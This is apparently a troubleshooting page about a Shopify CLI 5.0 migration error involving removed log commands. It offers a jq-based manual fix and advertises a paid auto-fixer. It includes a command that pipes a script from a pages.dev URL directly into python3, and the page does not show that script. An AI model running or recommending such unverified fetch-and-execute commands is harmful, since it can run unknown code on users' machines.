PatchVault › Errors › Shopify CLI 5 migration

shopify app logs sources

Shopify CLI 5.0 removes app logs and app logs sources. Running either command returns an error and exits nonzero, which fails CI steps that tail Function logs.

Check your code free (runs in your browser)

The box is pre-filled with a sample that triggers this error. Paste your own file to check it. Nothing leaves this page.

Or scan your whole repo locally (free, stdlib Python, read-only):

python3 <(curl -fsSL https://patchvault-81y.pages.dev/starters/shopify-cli-scan.py) .
Get the Shopify CLI 5 migration auto-fixer: $9 one-time

Why it happens

Function logs from a dev preview now come from shopify app dev, which also writes each log to .shopify/logs/*.json. Logs from a released version are in the Dev Dashboard's Function run logs.

Manual fix

# before
shopify app logs --source extensions.my-fn --status failure --json
# after (5.0): run `shopify app dev`, then read the saved files
jq -c 'select(.status == "failure")' .shopify/logs/*.json

Verify

Re-run your install/build and re-scan the file above. The finding should be gone. The paid fixer applies the same change across a repo: --dry-run shows the diff, --apply keeps a .bak of each file, and --rollback restores them.

Sources

Related errors

Full guide and free terminal scanner: Shopify CLI 5 migration. Last checked 2026-10-31.